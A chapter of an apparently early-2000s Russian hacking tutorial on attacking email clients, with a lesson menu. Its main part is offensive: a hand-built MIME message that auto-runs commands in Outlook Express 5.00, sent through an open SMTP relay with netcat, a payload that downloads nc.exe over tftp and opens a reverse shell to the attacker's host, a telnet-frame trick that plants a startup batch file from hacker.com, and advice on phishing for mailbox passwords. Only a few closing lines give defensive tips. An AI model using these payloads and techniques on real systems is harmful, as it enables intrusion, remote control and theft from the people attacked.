Моя визитка
Урок 1. Хакинг
Урок 2. Антихакинг
Урок 3. Инструменты хакинга
Урок 4. Защита Windows 2000/XP
Урок 5. Проникновение в систему
Урок 6. Реализация цели вторжения
Урок 7. Сокрытие следов
Урок 8. Хакинг браузеров Web
Урок 9. Хакинг почтовых клиентов
Урок 10. Деструкция почтового клиента
Урок 11. Хакинг Web-сайтов
Урок 12. Атаки DoS
Урок 13. Хакинг компьютеров Windows 2000/XP
Урок 14. Хакинг средств удаленного управления
Урок 15. Хакинг брандмауэров
Урок 16. Перехват сетевых данных
Урок 17. Хакинг коммутируемого доступа
Приложение А
Приложение В
Приложение С
Приложение D
Приложение E

Хакинг почтовых клиентов

Подготовка письма с активным кодом
Работа электронной почты
Хакинг электронной почты
Формат сообщений электронной почты
Экспериментальная интрасеть
Спецификация MIME
Создание и отправка сообщения
Установка удаленного контроля
Вариации технологии вставки активного кода
Странички почтовых служб WWW
Заключение

Почтовые клиенты - объект самого пристального внимания хакеров, поскольку открывают для них поистине безграничные горизонты для детятельности. Почтовые клиенты имеют слабые пароли доступа к почтовым ящикам, позволяют автоматически запускать на компьютере активные вложения, допускают спэмминг и мейлбомбинг - вот краткий перечень уязвимостей защиты почтовых клиентов и возникающих в связи с этим "возможностей" которые доступны хакеру, вознамерившемуся атаковать свою жертву с помощью почтовых служб Интернета.

Подготовка письма с активным кодом

Возможности Интернета отнюдь не сводятся к службам, обеспечивающим путешествия по Web-сайтам. Кроме сервиса WWW, в Интернете существует еще и такая интересная вещь, как электронная почта или, как говорят понимающие люди, "мыло", с помощьд которой один человек может передать, или "намылить", свое послание другому человеку через Интернет. Получив это электронное послание, ничего не подозревающий "ламер" открывает его в диалоге какого-либо почтового клиента, и... Все, что может произойти, зависит только от целей человека, пославшего письмо.

Некоторые исследования в области хакинга сервиса электронной почты свидетельствуют поистине безграничных возможностях атаки почтового клиента с помощью вложения в письмо активного кода. "Ламер" щелкнувший на ссылке во вложении, предлагающем ему обновить Web-браузер и в результате очистивший свой жесткий диск - это далеко не самая интересная техноогия, которую может применить более или менее ловкий "кул хацкер". Некоторая подготовка позволит хакеру создавать письма с активным вложением, которое будет запускаться автоматически, без всякого участия получившего письмо пользователя. Однако подготовка таких писем требует некоторых знаний в области функционирования сервиса электронной почты. Этим мы сейчас и займемся.

Работа электронной почты

Сервис электронной почты предназначен для пересылки сообщений из одного почтового ящика на почтовом сервере в другой. Адрес электронной почты записывается так: Почтовый_ящик@Почтовый_домен, где Почтовый_ящик - это идентификационное имя (логин) пользователя почтового ящика, а Почтовый_домен - доменное имя компьютера с функционирующим почтовым сервером. Посмотрим, какие механизмы за этим стоят, чтобы знать, как их использовать.

Функционирование электронной почты обеспечивается протоколами SMTP, POP и IMAP, которые, в свою очередь, опираются на сетевые протоколы TCP/IP.

•Протокол SMTP (Simple Mail Transfer Protocol - Простой протокол передачи почты) заведует передачей сообщений между почтовыми серверами.

• Протокол POP (Post Office Protocol - Почтовый протокол) - отвечает за доступ пользователя к почтовому ящику.

•Протокол IMAP (Interactive Mail Access Protocol - Протокол интерактивного доступа к электронной почте) - имеет то же предназначение, что и протокол POP, но обеспечивает возможности по каталогизации и хранению почты непосредственно на сервере.

Электронная почта работает следующим образом:

• Для каждого пользователя почтового сервера создается учетная запись, содержащая его почтовый адрес, например, vasia@email.com и почтовфй ящик в виде файла, хранящего принятые сообщения. Доступ пользователя к почтовому ящику осуществляется по паролю (хакеру на заметку).

• Почтовые сообщения, отправляемые пользователем, скажем, vasia, другому пользователю, например, petia с почтовым адресом petia@post.com, вначале по протоколу POP (или IMAP) поступают на почтовый сервер email.com по телефонной линии связи или через локальную сеть (хакеру на заметку).

• Почтовый сервер email.com обрабатывает сообщение. Может встретиться два варианта:

• Если доменное имя компьютера в почтовом адресе письма совпадает с доменным именем данного почтового сервера, письмо просто помещается в файл почтового ящика пользователя petia. В нашем случае это не так, и справедлив второй вариант.

• Если доменное имя компьютера в почтовом адресе письма не совпадает с доменным именем данного почтового сервера, то почтовый сервер email.com запрашивает у сервера DNS сетевой адрес почтового сервера post.com и пересылает ему сообщение для пользователя petia (хакеру на заметку).

• Пользователь petia по протоколу POP (или IMAP) обращается к своему почтовому ящику, указывая свой логин и пароль, и получает письмо.

А теперь посмотрим что из этого может извлечь хакер.

Хакинг электронной почты

Все вышеизложенное достаточно просто, однако дает хакеру некую путеводную нить: во-первых, доступ к почтовому ящику требует входной регистрации; во-вторых, регистрационные данные путешествуют попроводам в практически незащищенном виде. Наиболее широко распространенный протокол POP версии 3 (POP3) содержит средства криптографической защиты регистрационных данных, шифруя пароль перед его передачей. Другой способ защиты - создание закрытотго канала передачи данных по протоколам SSL/TSL. Однако все эти средства защиты все еще не получили широкого расространения - их поддерживают далеко не все почтовые серверы и клиенты, что открывает неплохие перспективы для сниффинга.

Другой способ хакинга - перехват почтовых сообщений, передаваемых между почтовыми серверами по протоколу SMTP. Эти сообщения, как правило, передаются в не аутентифицированных сеансах SMTP, что открывают широкие всевозможности для спамминга и фальсификации сообщений. Содержание же сообщения шифруется только при специальной настройке почтового клиента (например, Outlook Express), которой, как правило, пользователи пренебрегают, поскольку для ширования посланий используется сертификат получателя. Так что и здесь для толкового снифера открывается широкое поле деятельности.

Неплохую перспективу имеют также методы извлечения из почтового сервера списка логинов и паролей пользователей, опирающиеся на методы сетевого хакинга и программы для автоматического перебора паролей доступа к почтовым ящикам. Это же можно сделать с помощью такого универсального инструмента хакинга, как социальная инженерия, когда с помощью мошеннических уловок, например, отправки писем якобы от провайдера Интернера, пользователя просят сообщить пароль "для восстановления" почтового ящика.

Вообще, методы социальной инженерии применительно к почтовому сервису настолько разнообразны, что одно только их кратькое описание заняло бы книгу потолще уголовного кодекса. Всем желающим познакомиться с "перлами" этого жанра, советуем почитать журналы "Хакер" - это любопытнейшая смесь компьютерных технологий с особнностями человеческой психологии.

Мы займемся всеми этими интересными способами хакинга в следующий раз, а пока рассмотрим другую, не менее перспективную и мощную технологию хакинга почтовых клиентов, опирающуюся на помещение в письмо активного кода. Дело в том, что к каждому электронному письму может прикрепляться вложение - файл произвольного типа, в том числе исполняемый файл. Щелчок на значке вложения открывает файл - т.е. запускает вложенную программу, после чего наступают последствия, не всегда отвечающие ожиданиям получателя письма.

Так что вложения сами по себе - уже мощный инструмент хакинга, с учетом того, что ныне в Интернете работают множество неопытных пользователей, готовых клюнуть на заманчивое предложение, например, обновить программу браузера IE, загрузить "интересное" приложение и так далее (в зависимости от фантазии автора письма). Это - достаточно тривиальный, но эффективный способ хакинга, и им не стоит пренебрегать, поскольку на приеме почты в организациях, как правило, сидят люди, не сильно сведущие в компьютерных технологиях.

Однако в запасе у хакера есть кое-что покруче. Ведь времена меняются, и многие уже знают, что открывать непонятное вложение недопустимо, к тому же на многих компьютерах установлены программы-антивирусы, настроенные на проверку почтовых вложений. И вот хакеры научились составлять такие письма, что от получившего из пользователя не требуется вообще ничего - активный код из вожения автоматически, без участия пользователя, перекочевывает, например, в папку автозагрузки компьютера Windows, после чего, при следующем запуске системы, на компьютере начинают происходить чудеса.

Для выполнения таких трюков требуется специальная подготовка электронного послания, которую следует выполнять вручную - почтовые клиенты на такие действия не рассчитаны. И если вы хотите научиться делать такого рода трюки или защититься от них, нужны знания по формату почтового послания. Так что вначале кратко опишем формат, т.е., структуру электронного письма, а уж потом покажем, как из всего этого можно состряпать письмецо, которое может не понравиться какому либо антихакеру и сильно испортить ему жизнь, если он не последует советам, изложенными чуть позже.

Формат сообщений электронной почты

Формат сообщений электронной почты определен в документе RFC 2822. Сообщение электронной почты состоит из текстовых строк ограниченной длины, и каждая строка включает символы ASCII и знаки препинания. Как правило, допускается использовать только символы английского языка (семибитовая кодировка), однако имеются почтовые системы, способные работать и с расширенным набором символов ASCII (восьмибитовая кодировка). Строки разделяются между собой парой символов <CR><LF>, означающих код возврата каретки и перевода строки.

Каждое сообщение влкючает заголовки и тело сообщения. Заголовки отделяются от тела сообщения пустой строкой. Каждый заголовок начинается с новой строки и имеет такой формат:

Ключевое_слово: Данные

Вот пример такой строки:

Subject: Резюме

Эта строка означает, что предметом (Subject) письма является Резюме (Данные) автора. Если длина строки превышает предельную длину строки, то последующие строки этого же заголовка начинаются с символа пробела или табуляции, например:

Предельная длина строки - 998 символов, но рекомендуется использовать не более 78 символов.

Заголовки сообщения могут быть различных типо, и в таблице приведены наиболее распространенные типы, которые потребуются нам в дальнейшем.

Ключевое слово

Назначение

From

Почтовый адрес отправителя, который может быть таким: vasia@email.com, или таким: "Vasia Lohov" (vasia@email.com).

Reply

Почтовый адрес для ответа на письмо - если такого заголовка нет, используется поле From.

To

Почтовый адрес получателя.

Cc

Почтовые адреса дополнительных получателей, разделенные запятыми

Bcc

Почтовые адреса получателей, невидимые для остальных получателей, т.е., перечисленных в полях From и Cc.

Subject

Тема письма - любой текст

Date

Дата отправки, напрмер, Sat.16 Jun 2003 15:34:17 + 1000

Message-ID

Уникальный идентификатор сообщения, генерируемый почтовым сервером исключительно для своих нужд, например: <3.0.4.44.30445445754533.0035@email.com>

Received

Добавляется каждым почтовым сервером, через который проходит сообщение.

Все пользователи почтовых клиентов, например, клиента Outlook Express, уже встречались с перечисленными в таблице полями - они соответствуют полям в диалоге клиента для ввода адреса, темы сообщения и так далее. Теперь вы знаете, как они выглядят в самом послании при передаче по сети

Экспериментальная интрасеть

А теперь займемся вот чем. Мы будем испытывать различные инструменты хакинга электронной почты. Для того мы будем использовать полигон - TCP/IP сеть Ethernet, к которой подсоединены компьютеры Windows 2000/XP. В их число входят:

• Сервер Windows 2000 Server с именем Sword-2000 и IP-адресом 1.0.0.1

• Клиент Windows XP с именем Alex-3 и IP-адресом 1.0.0.5

• Клиент Windows 2000 с именем Alex-1 и IP-адресом 1.0.0.7

По нашей сети установлен домен sword.net, а сетевые компьютеры имеют такие доменные имена: серверу Sword-2000 присвоено доменное имя sword 2000.sword.net., клиенту Alex-3 - доменное имя alex-3.sword.net, клиенту Alex-1 - доменное имя alex-1.sword.net. На клиентах Alex-1 и Alex-3 мы установим почтовый сервер и создадим на нем учетные записи наших помощников: На клиенте Alex-1 учетную запись Коли с адресом kolia@alex-1.sword.net, а на клиенте Alex-3 - Пети, с адресом petia@alex-3.sword.net. Они будут помогать нам в нелегком деле хакинга, Петя - в роли хакера, а Коля - "ламера".

Вообще говоря, все последующие эксперименты можно проделывать с помощью обычного сервиса электронной почты, предоставляемого провайдером Интернета, посылая письма самому себе и наблюдая за результатами. Однако описанная выше локальная сеть весьма удобна, поскольку не связывает наши действия никакими правилами пользования почтового сервиса провайдера Интернета. Предупреждаем, что практическое применение описываемых далее хакерских технологий недопустимо по соображениям законности и может привести к неожиданным последствиям. Очень полезно перед выходом в большой мир вначале потренироваться на собственной локальной сети - по крайней мере, некому будет жаловаться.

В листинге приведены заголовки и тело послания, переданного ламером Колей хакеру Пете по нашй сети с использованием почтового сервера JMail 5.01.

Как видим, все довольно понятно, кроме полей в конце - они используются программами почтовыз клиентов, и поля Content-Type, которое относится к содержимому письма, хранимому в теле сообщения (вместе с вложениями). Формат тела сообщения определяется спецификацией MIME (Multipurpose Internet Mail Extensions - Многоцелевые расширения электронной почты Интернета). Для нас спецификация MIME имеет решающее значение, поскольку свой активный код мы будем помещать во вложение к письму.

Спецификация MIME

Для включения в почтовое собщение двоичных данных, составных данных, состоящих из порций различныхтипов, а также символов с восьмибитовой кодировкой, например, символов кириллицы, спецификация MIME предлагает для использования три заголовка: Content Type:, Content-Transfer-Encoding: и не обязательный заголовок Content-Disposition:. В дополнение к ним в MIME предоставляется заголовок MIME-Version:, задающий версию спецификации MIME, применяемую в данном послании - в настоящее время используется версия 1.0, так что этот заголовок всегда будет такой:

MIME-Version:1.0

Общий формат заголовка Content-Type таков:

Content-Type: тип/подтип; параметр=значение; ...

Запись тип/подтип задает стандартный тип и подтип данных, определяемых спецификацией MIME и называемых MIME-типами. Последующий набор параметров зависит от типа данных, и некоторые из MIME-типов перечислены в таблице вместе с указанием отосящихся к ним параметров.

Тип/подтип

Назначение

text/plain

text/html

Текстовые данные (или код HTML). В набор параметроввходит:

charset=название_кодировки_символов

Например, charset=koi8-r означает кириллицу; по умолчанию значение параметра charset задано как us-ascii, т.е. кодировка ASCII.

image/jpeg

image/gif

Графические данные, например, Content-Type: image/gif

audio/x-realaudio

Звуковые (аудио) данные, например, Content-Type: video/mpeg

video/mpeg

video/quicktime

Видео данные, например, Content-Type: video/mpeg

application/postscript

application/msword

application/zip

application/octet-stream

Приложения (тип application) с широким набором подтипов, соответствующих приложениям, из которых выделим универслаьный тип octet-stream -поток двоичных данных:

Content-Type: octet-stream

multipart/mixed

multipart/related

multipart/alternative

multipart - это важнейший для нас MIME-тип, который определяет, что сообщение состоит из нескольких порций, каждая из которых имеет свои заголовки и тело. Подтипы mixed, related, alternative указывают, что эти порции содержат вложения, соответственно, со смешанными, взаимосвязанными и альтернативными типами данных.

Общий формат заголовка Content-Type-Encoding таков:

Content-Type-Encoding: кодировка

Значение загловка определяет представление данных в теле сообщения, и их кодировк, если кодирование было применено. Возмоные значения поля включают 7bit - семибитовая кодировка us-ascii, 8-bit - восьмибитовая кодировка, binary - побайтовый поток двоичных данных, quoted-printable - кодированный восьмибитовый текст, base64 - двоичные данные, кодированные алгоритмом Base64 (RFC-2045).

Необязательный заголовок Content-Disposition управляет воспроизведением порции сообщения при его просмотре в почтовом клиенте, тем самым, с хакерской точки зрения, являясь важнейшим компонентом письма с активным кодом. Ниже приведен формат этого заголовка:

Content-Disposition: inline; filename="image.gif"

Значение inline означает, что файл, указанный параметром filename должен быть открыт почтовым клиентом автоматически, что очень удобно для внедрения вложенной программы на компьютере-получателе письма. Значение attachment означает, что вложение должно открываться с помощью пользовательского интерфейса почтового клиента.

Итак, теперь вы наверное догадыватеесь, как следует составить письмо, содержащее активный код, предназначенный для исполнения на компьютере жертвы. Опишем технологию одной из таких атак в деталях.

Создание и отправка сообщения

Вначале мы опишем, как можно запустить на атакованном компьютере команды MS-DOS, чтобы продемонстрировать всю мощь технологии внедрения активного кода в собщения электронной почты. Эти команды (в том числе форматирования дисков) исполняются сразу, как только несчастная жертва выделит полученное письмо в почтовом клиенте Outlook Express.

Итак, хакер Петя получил от ламера Коли письмо и решил над Колей "подшутить". В коде письма, приведенного выше, Петя находит заголовок X-Mailer: который указывает, что Коля, на свою беду, использует устаревшую версию почтового клиента Outlook Express 5.00. Петя, будучи малый не промах, знает, насколько уязвим клиет OE 5.00 для атак с вложенным активным кодом, и составляет письмо с активным вложениема, действуя следующим образом.

На первом шаге с помощью текстового редактора Блокном (Notepad) петя создает MIME-код, представленный ниже, и сохраняет этот код в файле Attack-hello.txt.

Если вы захотите повторить описываемый эксперимент, то при подготовке MIME-кода введите код в точности, как написано в коде выше, включая пустые строки перед строками-границами --1 и --2 и после каждого набора заголовков во вложениях. Код MIME весьма чувствителен к таким деталям.

Первые четыре строки послания - это команды протокола SMTP, которые обеспечивают отправку сообщения на сервер SMTP, работающий в режиме свободной ретрансляции - рассылающий любые сообщения, поступающие на сервер, по любому адресу. Команда hello устанавливает связь с сервером-ретранслятором, в качестве которого в нашей экспериментальной сети будет использоваться хост sword-2000.sword.net. Команда mail from указывает почтовый адрес отправителя, и ее следует избегать, а команда rcpt to задает адрес получателя, который Петя смог увидеть в листинге в поле Received:. Последней стоит команда data, после которой начинается собственно послание.

В послании из листинга выше активный код помещен во вложение, ограниченное строками "--1", и этот код содержит несколько команд MS-DOS для отображения каталога диска C: и вывода сообщения о наличии в системе уязвимости. Чтобы почтовый клиент автоматически отобразил послание, в него помещен код HTML, содержащий тег IFRAME для включения в текст послания встроенного фрейма:

<IFRAME src=3Dcid:THE-CID height=3DO width=3DO>

This message uses a character set that do not supported by the Internet Service. Please disregard.<BR</IFRAME>

Обратите внимание на атрибут src=3Dcid:THE-CID, который указывает на источник даных для фрейма с помощью идентификатора, и этот же идентификатор присвоен второму вложению в заголовке Content-ID: <THE-C1D>. При открытии этого письма в почтовом клиенте происходит автоматическая загрузка данных во встроенный фрейм, и тут-то и происходит самое интерестное.

Данные во втором вложении - это набор команд MS-DOS:

Тип данных для второго вложения определен как audio/x-wav - т.е., абсолютно не соответствующий действительности, поскольку вложение содержит команды MS-DOS. И вот, простой эксперимент показывает, что при чтении подготовленного таким образом письма почтовый клиент OE версии 5.00 (но не версии 5.50 или 6!) сбивается, и автоматически, без участия пользователя, исполняет эти команды при выборе письма в диалоге почтового клиента!

Давайте покажем это на практике. Чтобы послать это письмо, хакер Петя на своем компьютере исполняет такую команду MS-DOS:

type attack-hello.txt | nc -vv sword-2000.sword.net 25

Здесь nc - это название программы nc.exe (http://www.atstake.com), представляющей собой мощную многофункциональную утилиту, чаще всего называемую netcat - сетевой скальпель. Далее мы более подробно опишем ее возможности; здесь же указем, что утилита netcat используется для отсылки конвейеризованного текстового файла attack-hello.txt по адресу ретранслирующего SMTP-сервера sword-2000.sword.net, на стандартынй порт 25.

Получивший это послание Коля, почтовый клиент которого, как и у всякого ламера, настроен на автоматическое открытие полученных почтовых сообщений, щелкает на строке послания, и ему отображается диалог сеанса MS-DOS.

Рис. 1. Выделение полученного письма запускает вложение

Как видим, при этом были иполнены все включенные в письмо команды MS-DOS, и Коле просто повезло, что это послание - вполне безобидная дружеская штука, поскольку вложенный активный код всего лишь отображает содержимое диска C:\ и сообщение Your system has a problem (Ваша система в опасности). Однако в распоряжении хакера Пети имеются и более опасные команды, например, форматирования дисков или удаления файлов - мало ли можно натворить на чужом компьютере с помощью команд MS-DOS!

Тем не менее, описанная атака имеет чисто иллюстративный характер, и ее польза не очень велика. Самое большее, что она может сделать - это напугать неопытного пользователя, поскольку такие опасные команды, как форматирование и удаление файлов, всегда требуют подтверждения пользователя на начало работы. А вот сейчас вы узнаете, как можно сделать кое-что покруче и посодержательней - такое, что даст вам полный контроль над компьтером-жертвой.

Установление удаленного контроля

Мы уже говорили, что наилучшим способом доступа к ресурсам жертвенного компьютера является следующий: в него следует загрузить программу-сервер удаленного управления (например, трояна) и запустить загруженную программу, причем сделав ее функционирование незаметным для пользователя компьютера. Хакер должен получить возможность связываться со своего компьютера с программой-сервером и отдавать ей команды с помощью программы-клиента удаленного управления.

В описываемой далее атаке для загрузки сервера удаленного управления используется программа TFTPD32, загружающая на комьпютер-жертву файл nc.exe программы-сервера удаленного управления netcat. Управление атакованным компьютером будет выполняться по командам MS-DOS, отдаваемым с хакерского компьютера, на котором исполняется та же самая программа netcat, но работающая в режиме клиента. Рассмотрим атаку детальнее.

На первом шаге создадим текстовый файл attack-tftp.txt с MIME-кодом, приведенный в листинге:

Активный код в этом письме таков:

start /B /WAIT tftp -i alex-3.sword.net get nc.exe C:\winnt\system32\nc.exe

start /B nc.exe -d -e cmd.exe alex-3.sword.net 2002

Кратко опишем содержание активного кода. Команда в первой строке апускает сеанс MS-DOS в режиме без создания нового диалога сеанса MS-DOS (параметр /B команды start) и в режиме ожидания завершения команды (параметр /WAIT команды start). В открывшемся сеансе MS-DOS вначале исполняется команда tftp, которая предназначена для выгрузки файлов из удаленного хоста в локальный компьютер (параметр put) и загрузки файлов из удаленного хоста в локальный компьютер (параметр get). (Подробнее с командой tftp можно познакомиться по справке Windows 2000/XP). В нашем случае команды tftp загружает двоичный код (параметр -i) файла nc.exe с хакерского компьютера по адресу alex-3.sword.net в папку c:\winnt\system32 локального компьютера.

Вторая строка содержит команду запуска загруженной программы-сервера netcat, которая запускает командную оболочку cmd.exe атакованного компьютера и устанавливает соединение с программой-клиентом netcat, запущенной на хакерском компьютере в режиме прослушивания порта 2002.

Вот как это все работает. Подготовив файл attack-tftp.txt с MIME-кодом из листинга выше, этот неугомонный хакер Петя приступает к следующему шагу. На своем компютере Alex-3 он запускает программу TFTPD32, представляющую собой клиент TFTP, т.е. программу, обслуживающую запросы TFTP. Причина использования TFTPD32 состоит в том, что на компьютерах Windows 2000/XP, в отличие от UNIX, протокол TFTP поддерживается в ограниченном объеме, и для исполнения комады tftp на компьютере, из которого мы собираемся загрузить файл, должен быть установлен клиент tftp - иначе команда исполнена не будет. Таким образом, мы запускаем программу TFTPD32 и нам отображается диалог представленный на Рис. 2.

Клиент TFPD32 должен быть настроен следующим образом. В поле Current Directory (Основной каталог) следует указать папку с файлом nc.exe, а в открывающемся списке Server interface (Серверный интерфейс) следует ввести IP-адрес сетевого компьютера, с которого будет выполняться загрузка файла, в нашем случае указан IP-адрес компьютера Alex-3. Как видно из Рис. 2, после запуска и настройки программа TFPD32 прослушивает стандартынй порт 69 протокола TFTP в ожидании запросов.

Рис. 2. Диалог клиента TFTP - программы TFPTD32

На третьем шаге хакер Петя в отдельном диалоге сеанса MS-DOS запускает следующую программу-клиент удаленного управления:

nc -vv -L -p 2002

listening on (any) 2002 ...

Как следует из сообщения программы netcat, она начинает работу в режиме клиента удаленного управления, прослушивающего запросы к порту 2002, поступающие с любого хоста.

Теперь все готово для атаки. Открываем еще один диалог сеана MS-DOS и с помощью приведенной ниже команды отправляем на компьютер Alex-1 через ретранслирующий SMTP-сервер sword-2000.sword.net подготовленное письмецо с начинкой:

type attack-tftp.txt | nc -vv sword-2000.sword.net 25

Если все пройдет хорошо и Коля выберет в клиенте Outlook Express 5.00 письмо (при этом на экране компьютера Alex-1 на мгновение отобразитс диалог сеанса MS-DOS), то в диалоге клиента TFTPD32 должны отобразиться сообщения о ходе процесса загрузки файла, как это представлено на Рис. 3.

Рис. 3. Программа сервера удаленного управления успешно загружена!

Одновременно в диалоге сеанса MS-DOS, в котором запущен клиент удаленного управления netcat, отобразится сообщение об установлении связи с атакованным компьютером Alex-1 (Рис. 4).

Рис. 4. Клиент удаленного управления подсоединился к компьютеру-жертве

Чтобы убедить вас, что это - правда, в диалоге на Рис. 4 содержится результат исполнения команды ipconfig, отображающей IP-адрес компьютера, к которому только что подсоединился наш хакер Петя. Теперь он может делатьс компьютером ламера Коли что угодно - форматировать диски, копировать информацию, удалять файлы - в общем, компьютер Alex-1 превращен в сетевого раба хакера Пети! И все это - только в результате отправки единственного письма!

Однако это еще не все - кроме описанной технологии вставки активного кода, в распоряжении хакеров имеются и другие методы атаки почтовых клиентов, к краткому обсуждению которых мы сейчас и приступим.

Вариации технологии вставки активного кода

Атаки на почтовые клиенты можно классифицировать следующим образом:

• Переполнение буфера с целью запуска произвольного кода

•Социальная инженерия, или мошенничество - универслаьный и мощный инструмент принуждения пользователя запустить присланную ему программу.

• Запись локальных файлов для последующего запуска

• Чтение локальных файлов

• Открытие исходящих клиентских соединений.

Рассмотрим эти атаки по порядку

Переполнение буфера

Атаки такого рода можно сравнить с "волшебной пулей", без промаха поражающей атакованную жертву. В приложениях популярных почтовых клиентов все время находятся уязвимости, связанные с ошибками программирования, которые позволяют подвесить работу программы клиента или заставить ее выполнить переданный ей код. Например, в 2000 году была найдена уязвимость клиента OE, связанная с переполнением поля задания времени GMT. Поместив в это поле вместо даты хакерский код, далее можно заставить почтового клиента выполнить код при загрузке сообщения по протоколу POP3 или IMAP. Эта уязвимость была устранена в пакете Service Pack1 для Windows 2000.

Имеются и другие атаки, использующие переполнение буфера, связанные с ошибками в средствах обработки файлов .vcf (электронные карты vCard) и файлов .asx (проигрыватель Media Player). Подробнее об этих атаках можно узнать в книге "Безопасность сетей - готовые решения" - но учтите, что в последних версиях почтовых клиентов все эти уязвимости уже устранены.

Социальная инженерия

Эти методы - воистину универсальны и всемогущи. Однако запомните, что пересылка клиенту писем с вложением, сопровождаемым ловко составленным текстом, приглашающим воспользоваться немыслимо выгодными услугами, загрузить чудо-программу, документ MS Office (да, да - вспомните про макровирусы!) - все это наилучший способ хакинга почтового клиента. Ведь самый простой метод проникновения в чужой компьютер - это запуск на нем хакерской программы руками самого пользователя, а поскольку на приеме почты в организациях сидят вовсе не специалисты по компьютерным технологиям, то шансы на успех весьма велики. Ну а если у вас не хватает фантазии составлять убедительные письма, то почитайте выпуски журнала "Хакер" - и вам откроется целое море удивительных возможностей!

Запись и чтение локальных файлов

Как мы видели, на компьютер пользователя можно записать что угодно, и, с помощью той же самой технологии вставки активного кода, в папку автозагрузки компьютера можно записать любой файл, который будет исполнен при следующей перезагрузке компьютера к вящей радости хакера. Технология, применяемая с этой целью, совпадает с применяемой при хакинге Web-браузеров, описанной в предыдущей главе. Включив в письмо код HTML со сценарием, хакер, воспоьзовавшись уязвимостями системы защиты браузера, может получить полный доступ к файлам атакованного компьютера. Большое число примеров такого рода можно найти на Web-сайте Георгия Гунинского (Georgi Gunninski) по адресу http://www.guninski.com.

Открытие исходящих клиентских соединений

Эта технология уже использовалась в атаке, основанной на отправке и запуске на компьютере-жертве активного кода во вложении - как вы помните, на хакерском компьютере была запущена программа-клиент, ожидающая подключения со стороны атакованного компьютера

Другая разновидность атаки подобного рода также основана на запуске на хакерском компьютере по адресу, скажем, hacker.com, программы netcat в режиме ожидания:

nc -n -L -p 80 -t -w 1 < attack.bat

Эта команда заставляет программу netcat ожидать подключения TCP к порту 80, после чего на подключившися компьютер отправляется конвейеризованный файл attack.bat с хакерским кодом. А чтобы заставить атакованный компьтер подключиться к клиенту netcat, ему отсылается письмо с активным вложением в виде кода HTML, содержащего такой фрейм:

<frame src=telnet:-f

%20"Document%20and%20Setting\aAll%20\Users\start%20menu\programs\startup\

start.bat"%20hacker.com%2080 >

Как только получатель откроет письмо, фрейм попытается загрузить данные из источниа, указанногоссылкой на хакрский сайт. Для этого ему потребуется содать соединение по протоколу telnet, выполняемое клиентом telnet, но не стандартного, поставляемого вместе с Windows 2000, а входящего в состав пакета SFU 2.0 (Service for Unix - службы для Unix). Это следует из наличия параметра f:, который отсутствует у стандартного клиента telnet.

Клиент telnet из пакета SFU имеет следующее свойство: указание в строке Адрес (Address) браузера IE URL telnet:-f%20\filename.txt%20 host заставляет браузер IE подсоединиться к указанному хосту и зафиксировать процесс подключения вжурнале сеанса - файле filename.txt. Атакованный компьютер, послав запрос на соединение по протоколу telnet с хакерским компьютером, вместе со всем прочим записывает в журнальный файл start.bat сеанса связи хакерский код из файла attck.bat. Далее start.bat сохраняется в папке автозагрузки и исполняется при перезапуске компьютера - все очень просто и эффективно!

Для такой атаки имеется только одно условие - наличие на атакуемом компьютере клиента telnet из пакета SFU 2.0, что уменьшает ценность такой технологии хакинга. Однако надо думать, она будет развиваться и дальше, и приведет к вполне приемлемым для практики результатам.

Странички почтовых служб WWW

Все описанные в предыдущих главах ужасы побуждают к поиску средств для работы с сервисом электронной почты, более безопасным, чем почтовые клиенты от фирмы Microsoft - хотя бы из тех соображений, что популярность программы OE делает ее особо привлекательной для хакеров. Но такой шаг мы отдаем на усмотрение пользователей.

Другое, внешне весьма привлекательное решение состоит в использовании почтовых сервисов, предоставляемых на многих Web-сайтах, например, почты Hotmail от Microsoft (http://www.msn.com) или почты на сайте Yahoo (http://www.yahoo.com). На Web-страничках, предоставляемых этими сайтами, можно зарегистрироваться, задать свой логин и пароль, после чего на Web-сервере создается почтовый ящик нового пользователя. Получение и отправка писем также выполняется с помощью Web-странички, предоставляющей средства интерфейса с серверными сценариями.

Все это, конечно, очень хорошо, поскольку, во-первых, при работе с такой почтой вы сохраняете некоторую анонимность, поскольку в поле Received: будет отображаться почтовы адрес заокеанского сервера, а не вашего родного провайдера Интернета (осведомленного о номере вашего домашнего телефона и хранящего в своем журнале записи обо ВСЕХ ваших делишках в киберпространстве). Во-вторых WWW значительно упрощает борьбу со спамом.

Однако в странички почтовых служб WWW также можно включать вложения, которые загружаются пользователем по щелчку на ссылке, так что здесь возможны все те же самые атаки, что и при использовании почтовых клиентов. Плюс к тому имеют место все уязвимости, присущие работе с Web-браузерами - злонамеренные сценарии, элементы ActiveX и так далее. Так что не обольщайтесь...

Заключение

Итак, что же мы можем предпринять для борьбы со всеми этими атаками? Вообще, для антихакера существует всего три метода, которые могут снизить риск работы с почтовым сервисом:

• Использование антивирусов, настроенных на контроль почтовых вложений.

• Настройка почтового клиента на отказ от автоматического открытия писем.

• Элементарная осторожность - не щелкайте на ссылках и не открывайте непонятные вложения, лучше всего, сразу удаляйте их из почтового ящика.

Однако всего этого недостаточно для противодействия угрозам безопасности почтового сервиса.

Hosted by uCoz